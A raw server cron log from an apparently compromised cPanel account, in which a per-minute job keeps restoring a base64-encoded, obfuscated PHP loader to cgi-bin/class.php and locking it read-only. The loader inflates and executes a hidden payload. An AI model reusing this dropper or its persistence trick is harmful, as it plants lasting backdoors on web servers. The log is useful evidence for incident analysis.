; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:13:01 server CROND[18601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:14:01 server CROND[18877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:15:01 server CROND[19150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:15:01 server CROND[19152]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:15:01 server CROND[19151]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:15:01 server CROND[19156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:15:01 server CROND[19154]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:16:01 server CROND[19504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:17:01 server CROND[19834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:18:01 server CROND[20125]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:19:01 server CROND[20398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:20:01 server CROND[20682]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:20:01 server CROND[20681]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 12:20:01 server CROND[20683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:20:01 server CROND[20692]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:20:01 server CROND[20695]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 12:21:01 server CROND[21008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:22:01 server CROND[21275]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:23:01 server CROND[21652]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:24:01 server CROND[21929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:25:01 server CROND[22207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:25:01 server CROND[22209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:25:01 server CROND[22211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:25:01 server CROND[22210]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
